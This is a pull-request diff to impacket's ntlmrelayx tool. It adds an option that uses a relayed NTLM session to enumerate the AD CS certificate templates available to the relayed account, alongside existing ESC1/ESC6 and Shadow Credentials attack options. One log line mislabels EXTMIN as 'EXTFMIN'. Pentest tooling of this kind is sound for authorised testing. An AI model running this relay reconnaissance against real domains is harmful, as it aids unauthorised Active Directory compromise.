Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions examples/ntlmrelayx.py
Original file line number Diff line number Diff line change
Expand Up @@ -210,6 +210,7 @@ def start_servers(options, threads):
c.setWebDAVOptions(options.serve_image)
c.setIsADCSAttack(options.adcs)
c.setADCSOptions(options.template)
c.setEnumTemplates(options.enum_templates)
c.setIsShadowCredentialsAttack(options.shadow_credentials)
c.setShadowCredentialsOptions(options.shadow_target, options.pfx_password, options.export_type,
options.cert_outfile_path)
Expand Down Expand Up @@ -408,6 +409,7 @@ def stop_servers(threads):
adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack')
adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`')
adcsoptions.add_argument('--altname', action='store', metavar="ALTNAME", required=False, help='Subject Alternative Name to use when performing ESC1 or ESC6 attacks.')
adcsoptions.add_argument('--enum-templates', action='store_true', required=False, help='Enumerate enabled AD CS templates that the relayed account has access to')

# Shadow Credentials attack options
shadowcredentials = parser.add_argument_group("Shadow Credentials attack options")
Expand Down
69 changes: 69 additions & 0 deletions impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py
Original file line number Diff line number Diff line change
Expand Up @@ -42,6 +42,29 @@ def _run(self):
if self.username in ELEVATED:
LOG.info('Skipping user %s since attack was already performed' % self.username)
return

if self.config.enumTemplates:
templates = self.enum_templates()
# Print the parsed results
for entry in templates:
try:
LOG.info(f' - {entry["REALNAME"]}')
LOG.debug(f' - KEYSPEC: {entry["KEYSPEC"]}')
LOG.debug(f' - KEYFLAG: {entry["KEYFLAG"]}')
LOG.debug(f' - ENROLLFLAG: {entry["ENROLLFLAG"]}')
LOG.debug(f' - PRIVATEKEYFLAG: {entry["PRIVATEKEYFLAG"]}')
LOG.debug(f' - SUBJECTFLAG: {entry["SUBJECTFLAG"]}')
LOG.debug(f' - RASIGNATURE: {entry["RASIGNATURE"]}')
LOG.debug(f' - CSPLIST: {entry["CSPLIST"]}')
LOG.debug(f' - EXTOID: {entry["EXTOID"]}')
LOG.debug(f' - EXTMAJ: {entry["EXTMAJ"]}')
LOG.debug(f' - EXTFMIN: {entry["EXTFMIN"]}')
LOG.debug(f' - EXTFMIN: {entry["EXTMIN"]}')
LOG.debug(f' - FRIENDLYNAME: {entry["FRIENDLYNAME"]}')
except KeyError:
LOG.info(f' - {entry}')
LOG.info("Certificate enumeration complete!")
return

current_template = self.config.template
if current_template is None:
Expand Down Expand Up @@ -139,3 +162,49 @@ def generate_certattributes(template, altName):
if altName:
return "CertificateTemplate:{}%0d%0aSAN:upn={}".format(template, altName)
return "CertificateTemplate:{}".format(template)

def enum_templates(self):
enum_headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "keep-alive"
}

# Key mapping for parsing
KEY_MAPPING = {
0: "OFFLINE",
1: "REALNAME",
2: "KEYSPEC",
3: "KEYFLAG",
4: "ENROLLFLAG",
5: "PRIVATEKEYFLAG",
6: "SUBJECTFLAG",
7: "RASIGNATURE",
8: "CSPLIST",
9: "EXTOID",
10: "EXTMAJ",
11: "EXTFMIN",
12: "EXTMIN",
13: "FRIENDLYNAME",
}

LOG.info("Enumerating certificates")
self.client.request("GET", "/certsrv/certrqxt.asp", headers=enum_headers)
response = self.client.getresponse()
content = response.read()
option_lines = re.findall(r"<Option Value.*?>", content.decode())

parsed_results = []
for line in option_lines:
# Extract the content after "<Option Value="
match = re.search(r"<Option Value=\"(.*?)\">", line)
if match:
raw_data = match.group(1)
# Split the data by semicolon
parsed_data = raw_data.split(";")
# Map the parsed data using the key mapping
parsed_dict = {KEY_MAPPING.get(i, f"UNKNOWN_{i}"): value for i, value in enumerate(parsed_data)}
parsed_results.append(parsed_dict)
return parsed_results
4 changes: 4 additions & 0 deletions impacket/examples/ntlmrelayx/utils/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -98,6 +98,7 @@ def __init__(self):
self.isADCSAttack = False
self.template = None
self.altName = None
self.enumTemplates = False

# Shadow Credentials attack options
self.IsShadowCredentialsAttack = False
Expand Down Expand Up @@ -252,6 +253,9 @@ def setADCSOptions(self, template):
def setIsADCSAttack(self, isADCSAttack):
self.isADCSAttack = isADCSAttack

def setEnumTemplates(self, enumTemplates):
self.enumTemplates = enumTemplates

def setIsShadowCredentialsAttack(self, IsShadowCredentialsAttack):
self.IsShadowCredentialsAttack = IsShadowCredentialsAttack

Expand Down